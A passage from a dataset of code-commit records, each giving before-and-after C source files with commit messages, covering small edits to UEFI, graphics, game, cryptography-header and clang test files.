888\/crosswalk-efl,zeropool\/crosswalk,TheDirtyCalvinist\/spacewalk,dreamsxin\/crosswalk,wuhengzhi\/crosswalk,DonnaWuDongxia\/crosswalk,zeropool\/crosswalk,jondong\/crosswalk,jondwillis\/crosswalk,pk-sam\/crosswalk,crosswalk-project\/crosswalk,baleboy\/crosswalk,dreamsxin\/crosswalk,pozdnyakov\/crosswalk,alex-zhang\/crosswalk,Pluto-tv\/crosswalk,crosswalk-project\/crosswalk,lincsoon\/crosswalk,stonegithubs\/crosswalk,rakuco\/crosswalk,seanlong\/crosswalk,zeropool\/crosswalk,siovene\/crosswalk,shaochangbin\/crosswalk,bestwpw\/crosswalk,crosswalk-project\/crosswalk-efl,jondwillis\/crosswalk,chuan9\/crosswalk,crosswalk-project\/crosswalk,qjia7\/crosswalk,leonhsl\/crosswalk,tomatell\/crosswalk,jpike88\/crosswalk,TheDirtyCalvinist\/spacewalk,rakuco\/crosswalk,tedshroyer\/crosswalk,XiaosongWei\/crosswalk,chinakids\/crosswalk,huningxin\/crosswalk,jondong\/crosswalk,marcuspridham\/crosswalk,amaniak\/crosswalk,heke123\/crosswalk,shaochangbin\/crosswalk,tomatell\/crosswalk,Bysmyyr\/crosswalk,RafuCater\/crosswalk,stonegithubs\/crosswalk,Pluto-tv\/crosswalk,tedshroyer\/crosswalk,myroot\/crosswalk,xzhan96\/crosswalk,zliang7\/crosswalk,darktears\/crosswalk,PeterWangIntel\/crosswalk,pozdnyakov\/crosswalk,pk-sam\/crosswalk,XiaosongWei\/crosswalk,RafuCater\/crosswalk,darktears\/crosswalk,marcuspridham\/crosswalk,crosswalk-project\/crosswalk,zeropool\/crosswalk,seanlong\/crosswalk,alex-zhang\/crosswalk,minggangw\/crosswalk,tomatell\/crosswalk,dreamsxin\/crosswalk,myroot\/crosswalk,chuan9\/crosswalk,wuhengzhi\/crosswalk,seanlong\/crosswalk,mrunalk\/crosswalk,zliang7\/crosswalk,minggangw\/crosswalk,shaochangbin\/crosswalk,xzhan96\/crosswalk,hgl888\/crosswalk-efl,hgl888\/crosswalk-efl,stonegithubs\/crosswalk,zliang7\/crosswalk,lincsoon\/crosswalk,leonhsl\/crosswalk,chuan9\/crosswalk,PeterWangIntel\/crosswalk,bestwpw\/crosswalk,minggangw\/crosswalk,marcuspridham\/crosswalk,zeropool\/crosswalk,darktears\/crosswalk,hgl888\/crosswalk,alex-zhang\/crosswalk,huningxin\/crosswalk,leonhsl\/crosswalk,minggangw\/crosswalk,chuan9\/crosswalk,PeterWangIntel\/crosswalk,marcuspridham\/crosswalk,Shouqun\/crosswalk,crosswalk-project\/crosswalk,rakuco\/crosswalk,axinging\/crosswalk,crosswalk-project\/crosswalk-efl,axinging\/crosswalk,DonnaWuDongxia\/crosswalk,jondong\/crosswalk,stonegithubs\/crosswalk,heke123\/crosswalk,tedshroyer\/crosswalk,pk-sam\/crosswalk,TheDirtyCalvinist\/spacewalk,TheDirtyCalvinist\/spacewalk,baleboy\/crosswalk,lincsoon\/crosswalk,chinakids\/crosswalk,dreamsxin\/crosswalk,darktears\/crosswalk,tedshroyer\/crosswalk,axinging\/crosswalk,heke123\/crosswalk,DonnaWuDongxia\/crosswalk,jondong\/crosswalk,axinging\/crosswalk,bestwpw\/crosswalk,ZhengXinCN\/crosswalk,marcuspridham\/crosswalk,crosswalk-project\/crosswalk,mrunalk\/crosswalk,weiyirong\/crosswalk-1,siovene\/crosswalk,qjia7\/crosswalk,tedshroyer\/crosswalk,wuhengzhi\/crosswalk,tedshroyer\/crosswalk,lincsoon\/crosswalk,qjia7\/crosswalk,Shouqun\/crosswalk,stonegithubs\/crosswalk,hgl888\/crosswalk-efl,ZhengXinCN\/crosswalk,pk-sam\/crosswalk,hgl888\/crosswalk,jpike88\/crosswalk,hgl888\/crosswalk,siovene\/crosswalk,axinging\/crosswalk,XiaosongWei\/crosswalk,Shouqun\/crosswalk,qjia7\/crosswalk,rakuco\/crosswalk,chinakids\/crosswalk,RafuCater\/crosswalk,hgl888\/crosswalk,Bysmyyr\/crosswalk,jondwillis\/crosswalk,tomatell\/crosswalk,leonhsl\/crosswalk,fujunwei\/crosswalk,weiyirong\/crosswalk-1,jondwillis\/crosswalk,lincsoon\/crosswalk,XiaosongWei\/crosswalk,crosswalk-project\/crosswalk,zeropool\/crosswalk,jondwillis\/crosswalk,XiaosongWei\/crosswalk,pozdnyakov\/crosswalk,Shouqun\/crosswalk,XiaosongWei\/crosswalk,hgl888\/crosswalk-efl,marcuspridham\/crosswalk,bestwpw\/crosswalk,DonnaWuDongxia\/crosswalk,ZhengXinCN\/crosswalk,fujunwei\/crosswalk,Pluto-tv\/crosswalk,baleboy\/crosswalk,huningxin\/crosswalk,pozdnyakov\/crosswalk,heke123\/crosswalk,minggangw\/crosswalk,TheDirtyCalvinist\/spacewalk,RafuCater\/crosswalk,mrunalk\/crosswalk,mrunalk\/crosswalk,Bysmyyr\/crosswalk,kurli\/crosswalk,huningxin\/crosswalk,darktears\/crosswalk,lincsoon\/crosswalk,jpike88\/crosswalk,baleboy\/crosswalk,ZhengXinCN\/crosswalk,siovene\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk,wuhengzhi\/crosswalk,tomatell\/crosswalk,weiyirong\/crosswalk-1,dreamsxin\/crosswalk,minggangw\/crosswalk,tomatell\/crosswalk,siovene\/crosswalk"}
{"commit":"f36a7bf58c305a14b50902cbf763211f6ef5e52f","old_file":"MdePkg\/Library\/UefiRuntimeServicesTableLib\/UefiRuntimeServicesTableLib.c","new_file":"MdePkg\/Library\/UefiRuntimeServicesTableLib\/UefiRuntimeServicesTableLib.c","old_contents":"\/** @file\r\n  UEFI Runtime Services Table Library.\r\n\r\n  Copyright (c) 2006, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#include <Uefi.h>\r\n#include <Library\/DebugLib.h>\r\n\r\nEFI_RUNTIME_SERVICES  *gRT = NULL;\r\n\r\n\/**\r\n  The constructor function caches the pointer of Runtime Services Table.\r\n\r\n  The constructor function caches the pointer of Runtime Services Table.\r\n  It will ASSERT() if the pointer of Runtime Services Table is NULL.\r\n  It will always return EFI_SUCCESS.\r\n\r\n  @param  ImageHandle   The firmware allocated handle for the EFI image.\r\n  @param  SystemTable   A pointer to the EFI System Table.\r\n\r\n  @retval EFI_SUCCESS   The constructor always returns EFI_SUCCESS.\r\n\r\n**\/\r\nEFI_STATUS\r\nEFIAPI\r\nUefiRuntimeServicesTableLibConstructor (\r\n  IN EFI_HANDLE        ImageHandle,\r\n  IN EFI_SYSTEM_TABLE  *SystemTable\r\n  )\r\n{\r\n  \/\/\r\n  \/\/ Cache pointer to the EFI Runtime Services Table\r\n  \/\/\r\n  gRT = SystemTable->RuntimeServices;\r\n  ASSERT (gRT != NULL);\r\n  return EFI_SUCCESS;\r\n}\r\n","new_contents":"\/** @file\r\n  UEFI Runtime Services Table Library.\r\n\r\n  This library instance retrieve EFI_RUNTIME_SERVICES pointer from EFI system table\r\n  in library's constructor.\r\n\r\n  Copyright (c) 2006, Intel Corporation<BR>\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#include <Uefi.h>\r\n#include <Library\/DebugLib.h>\r\n\r\nEFI_RUNTIME_SERVICES  *gRT = NULL;\r\n\r\n\/**\r\n  The constructor function caches the pointer of Runtime Services Table.\r\n\r\n  The constructor function caches the pointer of Runtime Services Table.\r\n  It will ASSERT() if the pointer of Runtime Services Table is NULL.\r\n  It will always return EFI_SUCCESS.\r\n\r\n  @param  ImageHandle   The firmware allocated handle for the EFI image.\r\n  @param  SystemTable   A pointer to the EFI System Table.\r\n\r\n  @retval EFI_SUCCESS   The constructor always returns EFI_SUCCESS.\r\n\r\n**\/\r\nEFI_STATUS\r\nEFIAPI\r\nUefiRuntimeServicesTableLibConstructor (\r\n  IN EFI_HANDLE        ImageHandle,\r\n  IN EFI_SYSTEM_TABLE  *SystemTable\r\n  )\r\n{\r\n  \/\/\r\n  \/\/ Cache pointer to the EFI Runtime Services Table\r\n  \/\/\r\n  gRT = SystemTable->RuntimeServices;\r\n  ASSERT (gRT != NULL);\r\n  return EFI_SUCCESS;\r\n}\r\n","subject":"Add more comment for library instance and remove unused internal header file.","message":"Add more comment for library instance and remove unused internal header file.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@5799 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"bb1eba50d7b6e81e24ddc918afda45a334d011de","old_file":"src\/MenuRenderer.h","new_file":"src\/MenuRenderer.h","old_contents":"\/*\n * MenuRenderer.h\n *\n *  Created on: Nov 18, 2016\n *      Author: msaun\n *\/\n\n#ifndef MICKRENDERER_H_\n#define MICKRENDERER_H_\n\n#include <string>\n#include \"RuntimeException.h\"\n\n#include <SDL2\/SDL.h>\n#include <GL\/glew.h>\n\n#include <Rocket\/Core.h>\n#include <Rocket\/Core\/Input.h>\n#include <Rocket\/Debugger\/Debugger.h>\n\n#include \"rocket\/glue\/SystemInterfaceSDL2.h\"\n#include \"rocket\/glue\/RenderInterfaceSDL2.h\"\n#include \"rocket\/glue\/ShellFileInterface.h\"\n\n#include \"rocket\/MickRocketElementUtil.h\"\n\n#include \"GameSettings.h\"\n#include \"rocket\/events\/EventInstancer.h\"\n#include \"rocket\/events\/EventManager.h\"\n#include \"rocket\/events\/EventHandlerOptions.h\"\n\nclass MenuRenderer\n{\n  public:\n    MenuRenderer(SDL_Renderer *renderer, SDL_Window *screen);\n    bool showMenu();\n    virtual ~MenuRenderer();\n\n  private:\n    void init(SDL_Renderer* renderer, SDL_Window *screen);\n    int getTabIndex(Rocket::Core::Element* node);\n    Rocket::Core::Element* getChildElementWithTabIndex(Rocket::Core::Element* parentNode, int tabIndex);\n\n    Rocket::Core::Context* m_context = NULL;\n};\n\n#endif \/* MICKRENDERER_H_ *\/\n","new_contents":"\/*\n * MenuRenderer.h\n *\n *  Created on: Nov 18, 2016\n *      Author: msaun\n *\/\n\n#ifndef MICKRENDERER_H_\n#define MICKRENDERER_H_\n\n#include <stdexcept>\n#include <string>\n#include \"RuntimeException.h\"\n\n#include <SDL2\/SDL.h>\n#include <GL\/glew.h>\n\n#include <Rocket\/Core.h>\n#include <Rocket\/Core\/Input.h>\n#include <Rocket\/Debugger\/Debugger.h>\n\n#include \"rocket\/glue\/SystemInterfaceSDL2.h\"\n#include \"rocket\/glue\/RenderInterfaceSDL2.h\"\n#include \"rocket\/glue\/ShellFileInterface.h\"\n\n#include \"rocket\/MickRocketElementUtil.h\"\n\n#include \"GameSettings.h\"\n#include \"rocket\/events\/EventInstancer.h\"\n#include \"rocket\/events\/EventManager.h\"\n#include \"rocket\/events\/EventHandlerOptions.h\"\n\nclass MenuRenderer\n{\n  public:\n    MenuRenderer(SDL_Renderer *renderer, SDL_Window *screen);\n    bool showMenu();\n    virtual ~MenuRenderer();\n\n  private:\n    void init(SDL_Renderer* renderer, SDL_Window *screen);\n    int getTabIndex(Rocket::Core::Element* node);\n    Rocket::Core::Element* getChildElementWithTabIndex(Rocket::Core::Element* parentNode, int tabIndex);\n\n    Rocket::Core::Context* m_context = NULL;\n};\n\n#endif \/* MICKRENDERER_H_ *\/\n","subject":"Fix runtime_error is not a member of std","message":"Fix runtime_error is not a member of std\n","lang":"C","license":"apache-2.0","repos":"VenKamikaze\/BitRiot,VenKamikaze\/BitRiot,VenKamikaze\/BitRiot"}
{"commit":"86258141b55c3fffb3489f76fc1cf70d2dcd4bb2","old_file":"libmorton\/include\/morton_common.h","new_file":"libmorton\/include\/morton_common.h","old_contents":"#ifndef MORTON_COMMON_H_\n#define MORTON_COMMON_H_\n\n#include <stdint.h>\n#if _MSC_VER\n#include <intrin.h>\n#endif\n\ninline bool findFirstSetBit32(const uint_fast32_t x, unsigned long* firstbit_location){\n#if _MSC_VER\n\treturn _BitScanReverse(firstbit_location, x);\n#elif __GNUC__\n\tunsigned int pos = __builtin_ffs(x);\n\tfirstbit_location = pos +1 ;\n\treturn pos;\n#endif\n\treturn true;\n}\n\ninline bool findFirstSetBit64(const uint_fast64_t x, unsigned long* firstbit_location){\n#if _MSC_VER && _WIN64\n\treturn _BitScanReverse64(firstbit_location, x);\n#elif _MSC_VER && _WIN32\n\tfirstbit_location = 0;\n\tif (_BitScanReverse(&firstbit_location, (x >> 32))){ \/\/ check first part\n\t\tfirstbit_location += 32;\n\t} else if ( ! _BitScanReverse(&firstbit_location, (x & 0xFFFFFFFF))){ \/\/ also test last part\n\t\treturn 0;\n\t}\n\treturn true;\n#elif __GNUC__\n\tunsigned int pos = __builtin_ffs(x);\n\tfirst_bit_location = pos + 1;\n\treturn pos;\n#endif\n\treturn true;\n}\n\n#endif","new_contents":"#ifndef MORTON_COMMON_H_\n#define MORTON_COMMON_H_\n\n#include <stdint.h>\n#if _MSC_VER\n#include <intrin.h>\n#endif\n\ninline bool findFirstSetBit32(const uint_fast32_t x, unsigned long* firstbit_location){\n#if _MSC_VER\n\treturn _BitScanReverse(firstbit_location, x);\n#elif __GNUC__\n\tunsigned int pos = __builtin_ffs(x);\n\tfirstbit_location = pos +1 ;\n\treturn pos;\n#endif\n\treturn true;\n}\n\ninline bool findFirstSetBit64(const uint_fast64_t x, unsigned long* firstbit_location){\n#if _MSC_VER && _WIN64\n\treturn _BitScanReverse64(firstbit_location, x);\n#elif _MSC_VER && _WIN32\n\tfirstbit_location = 0;\n\tif (_BitScanReverse(firstbit_location, (x >> 32))){ \/\/ check first part\n\t\tfirstbit_location += 32;\n\t} else if ( ! _BitScanReverse(firstbit_location, (x & 0xFFFFFFFF))){ \/\/ also test last part\n\t\treturn 0;\n\t}\n\treturn true;\n#elif __GNUC__\n\tunsigned int pos = __builtin_ffs(x);\n\tfirst_bit_location = pos + 1;\n\treturn pos;\n#endif\n\treturn true;\n}\n\n#endif","subject":"Fix compil on MSVC + WIN32","message":"Fix compil on MSVC + WIN32\n","lang":"C","license":"mit","repos":"Forceflow\/libmorton"}
{"commit":"c1e1523fed7ad8b621425b2931c8ce89389a6f7c","old_file":"libyaul\/scu\/bus\/b\/vdp1\/vdp1\/map.h","new_file":"libyaul\/scu\/bus\/b\/vdp1\/vdp1\/map.h","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_MAP_H_\n#define _VDP1_MAP_H_\n\n#include <scu-internal.h>\n\n\/* Macros specific for processor *\/\n#define VDP1(x)         (0x25D00000 + (x))\n\n\/* Helpers specific to this processor *\/\n\n#define TVMR\t\t0x0000\n#define FBCR\t\t0x0002\n#define PTMR\t\t0x0004\n#define EWDR\t\t0x0006\n#define EWLR\t\t0x0008\n#define EWRR\t\t0x000A\n#define ENDR\t\t0x000C\n#define EDSR\t\t0x0010\n#define LOPR\t\t0x0012\n#define COPR\t\t0x0014\n#define MODR\t\t0x0016\n\n#endif \/* !_VDP1_MAP_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _VDP1_MAP_H_\n#define _VDP1_MAP_H_\n\n#include <scu-internal.h>\n\n\/* Macros specific for processor *\/\n#define VDP1(x)         (0x25D00000 + (x))\n\n\/* Helpers specific to this processor *\/\n\n#define TVMR            0x0000\n#define FBCR            0x0002\n#define PTMR            0x0004\n#define EWDR            0x0006\n#define EWLR            0x0008\n#define EWRR            0x000A\n#define ENDR            0x000C\n#define EDSR            0x0010\n#define LOPR            0x0012\n#define COPR            0x0014\n#define MODR            0x0016\n\n#endif \/* !_VDP1_MAP_H_ *\/\n","subject":"Remove hard tabs in .h file","message":"Remove hard tabs in .h file\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"37500dc24511e9ea1d16982befdb6beb17bfeea5","old_file":"test\/CodeGen\/thinlto_backend.c","new_file":"test\/CodeGen\/thinlto_backend.c","old_contents":"\/\/ RUN: %clang -target x86_64-unknown-linux -O2 %s -flto=thin -c -o %t.o\n\/\/ RUN: llvm-lto -thinlto -o %t %t.o\n\n\/\/ Ensure clang -cc1 give expected error for incorrect input type\n\/\/ RUN: not %clang_cc1 -target x86_64-unknown-linux -O2 -o %t1.o %s -c -fthinlto-index=%t.thinlto.bc 2>&1 | FileCheck %s -check-prefix=CHECK-WARNING\n\/\/ CHECK-WARNING: error: invalid argument '-fthinlto-index={{.*}}' only allowed with '-x ir'\n\n\/\/ Ensure we get expected error for missing index file\n\/\/ RUN: %clang -target x86_64-unknown-linux -O2 -o %t1.o -x ir %t.o -c -fthinlto-index=bad.thinlto.bc 2>&1 | FileCheck %s -check-prefix=CHECK-ERROR\n\/\/ CHECK-ERROR: Error loading index file 'bad.thinlto.bc': No such file or directory\n\n\/\/ Ensure Function Importing pass added\n\/\/ RUN: %clang -target x86_64-unknown-linux -O2 -o %t1.o -x ir %t.o -c -fthinlto-index=%t.thinlto.bc -mllvm -debug-pass=Structure 2>&1 | FileCheck %s -check-prefix=CHECK-PASS\n\/\/ CHECK-PASS: Function Importing\n","new_contents":"\/\/ RUN: %clang -target x86_64-unknown-linux -O2 %s -flto=thin -c -o %t.o\n\/\/ RUN: llvm-lto -thinlto -o %t %t.o\n\n\/\/ Ensure clang -cc1 give expected error for incorrect input type\n\/\/ RUN: not %clang_cc1 -target x86_64-unknown-linux -O2 -o %t1.o %s -c -fthinlto-index=%t.thinlto.bc 2>&1 | FileCheck %s -check-prefix=CHECK-WARNING\n\/\/ CHECK-WARNING: error: invalid argument '-fthinlto-index={{.*}}' only allowed with '-x ir'\n\n\/\/ Ensure we get expected error for missing index file\n\/\/ RUN: %clang -target x86_64-unknown-linux -O2 -o %t1.o -x ir %t.o -c -fthinlto-index=bad.thinlto.bc 2>&1 | FileCheck %s -check-prefix=CHECK-ERROR\n\/\/ CHECK-ERROR: Error loading index file 'bad.thinlto.bc'\n\n\/\/ Ensure Function Importing pass added\n\/\/ RUN: %clang -target x86_64-unknown-linux -O2 -o %t1.o -x ir %t.o -c -fthinlto-index=%t.thinlto.bc -mllvm -debug-pass=Structure 2>&1 | FileCheck %s -check-prefix=CHECK-PASS\n\/\/ CHECK-PASS: Function Importing\n","subject":"Adjust test to fix bot error from r254927.","message":"Adjust test to fix bot error from r254927.\n\nRemove the part of the error message that may vary across systems.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@254938 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"bc49e006724135994717b71920f1376161f28190","old_file":"include\/ecdaa.h","new_file":"include\/ecdaa.h","old_contents":"\/******************************************************************************\n *\n * Copyright 2017 Xaptum, Inc.\n * \n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n * \n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License\n *\n *****************************************************************************\/\n\n#ifndef ECDAA_ECDAA_H\n#define ECDAA_ECDAA_H\n#pragma once\n\n#include <ecdaa\/credential_ZZZ.h>\n#include <ecdaa\/group_public_key_ZZZ.h>\n#include <ecdaa\/issuer_keypair_ZZZ.h>\n#include <ecdaa\/member_keypair_ZZZ.h>\n#include <ecdaa\/prng.h>\n#include <ecdaa\/revocations_ZZZ.h>\n#include <ecdaa\/signature_ZZZ.h>\n#include <ecdaa\/signature_TPM.h>\n#include <ecdaa\/tpm_context.h>\n\n#endif\n","new_contents":"\/******************************************************************************\n *\n * Copyright 2017 Xaptum, Inc.\n * \n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n * \n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License\n *\n *****************************************************************************\/\n\n#ifndef ECDAA_ECDAA_H\n#define ECDAA_ECDAA_H\n#pragma once\n\n#include <ecdaa\/credential_ZZZ.h>\n#include <ecdaa\/group_public_key_ZZZ.h>\n#include <ecdaa\/issuer_keypair_ZZZ.h>\n#include <ecdaa\/member_keypair_ZZZ.h>\n#include <ecdaa\/prng.h>\n#include <ecdaa\/revocations_ZZZ.h>\n#include <ecdaa\/signature_ZZZ.h>\n#include <ecdaa\/member_keypair_TPM.h>\n#include <ecdaa\/signature_TPM.h>\n#include <ecdaa\/tpm_context.h>\n\n#endif\n","subject":"Include member_keypair_TPM.h in omnibus include file.","message":"FIX: Include member_keypair_TPM.h in omnibus include file.\n","lang":"C","license":"apache-2.0","repos":"xaptum\/ecdaa,xaptum\/ecdaa,xaptum\/ecdaa"}
{"commit":"111ea9fc3f1daf1fdcbdacfdcc830873e03b6cb7","old_file":"Examples\/src\/main.c","new_file":"Examples\/src\/main.c","old_contents":"#include <ConsoleControl.h>\n#include <ConsoleControlUtility.h>\n#include <ConsoleControlUI.h>\n#include <BasicExamples.h>\n\nint main() {\n\n\tconst char* choices[] = {\n\t\t\"Basic features\",\n\t\t\"UI features\",\n\t\t\"Exit\",\n\t};\n\tconst cc_MenuColors colors = {\n\t\tBLACK,\n\t\tCYAN,\n\t\tBLACK,\n\t\tWHITE,\n\t\tBLACK,\n\t\tCYAN,\n\t\tBLACK\n\t};\n\tcc_Menu menu;\n\tmenu.title = \"ConsoleControl Examples\";\n\tmenu.choices = choices;\n\tmenu.choicesNumber = 3;\n\tmenu.choiceOnEscape = 2;\n\tmenu.currentChoice = 0;\n\n\tbool loop = true;\n\twhile(loop) {\n\t\tcc_displayColorMenu(&menu, &colors);\n\t\tcc_setColors(BLACK, WHITE);\n\t\tswitch(menu.currentChoice) {\n\t\t\tcase 0:\n\t\t\t\tbasicExamples();\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\t\/\/TODO\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tloop = false;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <ConsoleControl.h>\n#include <ConsoleControlUtility.h>\n#include <ConsoleControlUI.h>\n#include <BasicExamples.h>\n\nint main() {\n\n\tconst char* choices[] = {\n\t\t\"Basic features\",\n\t\t\"UI features\",\n\t\t\"Exit\",\n\t};\n\tconst cc_MenuColors colors = {\n\t\tBLACK,\n\t\tCYAN,\n\t\tBLACK,\n\t\tWHITE,\n\t\tBLACK,\n\t\tCYAN,\n\t\tBLACK\n\t};\n\tcc_Menu menu;\n\tmenu.title = \"ConsoleControl Examples\";\n\tmenu.choices = choices;\n\tmenu.choicesNumber = 3;\n\tmenu.choiceOnEscape = 2;\n\tmenu.currentChoice = 0;\n\n\tbool loop = true;\n\twhile(loop) {\n\t\tcc_displayColorMenu(&menu, &colors);\n\t\tcc_setColors(BLACK, WHITE);\n\t\tswitch(menu.currentChoice) {\n\t\t\tcase 0:\n\t\t\t\tbasicExamples();\n\t\t\t\tbreak;\n\t\t\tcase 1:\n\t\t\t\t\/\/TODO\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tloop = false;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tcc_setCursorVisibility(true);\n\tcc_displayInputs(true);\n\treturn EXIT_SUCCESS;\n}\n","subject":"Set back the cursor and inputs visibility in the examples","message":"Set back the cursor and inputs visibility in the examples\n\n","lang":"C","license":"mit","repos":"pinam45\/ConsoleControl,pinam45\/ConsoleControl"}
{"commit":"c13d9c1fb787982bd791975f9f7f6cc8f793d1e6","old_file":"tests\/testrender.c","new_file":"tests\/testrender.c","old_contents":"\/* $Id$ *\/\n#include \"GL\/glc.h\"\n#include <stdio.h>\n\nextern void my_init(void);\nextern void my_fini(void);\n\nvoid testQueso(void)\n{\n    int ctx = 0;\n    int font = 0;\n    \n    my_init();\n    \n    ctx = glcGenContext();\n    glcContext(ctx);\n    \n    glcAppendCatalog(\"\/usr\/lib\/X11\/fonts\/Type1\");\n    \n    glcFontFace(glcNewFontFromFamily(1, \"Utopia\"), \"Bold\");\n    font = glcNewFontFromFamily(2, \"Courier\");\n    glcFont(font);\n    glcFontFace(font, \"Italic\");\n    \n    glcRenderStyle(GLC_LINE);\n    glScalef(24., 24., 0.);\n    glTranslatef(100., 100., 0.);\n    glColor3f(1., 1., 0.);\n    glcRenderChar('A');\n    \n    my_fini();\n}\n","new_contents":"\/* $Id$ *\/\n#include \"GL\/glc.h\"\n#include <stdio.h>\n\nextern void my_init(void);\nextern void my_fini(void);\n\nvoid testQueso(void)\n{\n    int ctx = 0;\n    int font = 0;\n    \n    my_init();\n    \n    ctx = glcGenContext();\n    glcContext(ctx);\n    \n    glcAppendCatalog(\"\/usr\/lib\/X11\/fonts\/Type1\");\n    \n    glcFontFace(glcNewFontFromFamily(1, \"Utopia\"), \"Bold\");\n    font = glcNewFontFromFamily(2, \"Courier\");\n    glcFont(font);\n    glcFontFace(font, \"Italic\");\n    \n    glcRenderStyle(GLC_TRIANGLE);\n    glTranslatef(100., 100., 0.);\n    glScalef(10., 10., 0.);\n    glColor3f(1., 1., 0.);\n    glcRenderChar('A');\n    glcRenderChar('l');\n    glTranslatef(-50., 100., 0.);\n    glcRenderString(\"QuesoGLC\");\n    \n    my_fini();\n}\n","subject":"Test of rendering commands is now a bit more complex","message":"Test of rendering commands is now a bit more complex\n\n","lang":"C","license":"lgpl-2.1","repos":"Safety0ff\/QuesoGLC,Safety0ff\/QuesoGLC,Safety0ff\/QuesoGLC"}
{"commit":"ef39b128e18a557777c1223531f63e3da9fc8e48","old_file":"Settings\/Tabs\/OSD.h","new_file":"Settings\/Tabs\/OSD.h","old_contents":"#pragma once\n\n#include \"..\/Controls\/Controls.h\"\n#include \"SettingsTab.h\"\n\nclass OSD : public SettingsTab {\npublic:\n    OSD(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n    virtual void SaveSettings();\n\nprotected:\n    virtual void Initialize();\n    virtual void LoadSettings();\n\nprivate:\n    \/* Controls: *\/\n    ListView *_osdList;\n\n    GroupBox *_volumeGroup;\n    Checkbox *_monitorVolEvents;\n    ComboBox *_audioDevice;\n    ComboBox *_audioTaper;\n    \/\/Slider\n    Label *_limitValue;\n    Checkbox *_forceLimit;\n\n    GroupBox *_ejectGroup;\n    Checkbox *_monitorEjectEvents;\n\n    GroupBox *_keyboardGroup;\n    Checkbox *_caps;\n    Checkbox *_scroll;\n    Checkbox *_num;\n    Checkbox *_media;\n};\n","new_contents":"#pragma once\n\n#include \"SettingsTab.h\"\n\nclass OSD : public SettingsTab {\npublic:\n    OSD(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n    virtual void SaveSettings();\n\nprotected:\n    virtual void Initialize();\n    virtual void LoadSettings();\n\nprivate:\n    \/* Controls: *\/\n    ListView *_osdList;\n\n    GroupBox *_volumeGroup;\n    Checkbox *_monitorVolEvents;\n    ComboBox *_audioDevice;\n    ComboBox *_audioTaper;\n    \/\/Slider\n    Label *_limitValue;\n    Checkbox *_forceLimit;\n\n    GroupBox *_ejectGroup;\n    Checkbox *_monitorEjectEvents;\n\n    GroupBox *_keyboardGroup;\n    Checkbox *_caps;\n    Checkbox *_scroll;\n    Checkbox *_num;\n    Checkbox *_media;\n};\n","subject":"Remove controls header (moved to SettingsTab)","message":"Remove controls header (moved to SettingsTab)\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
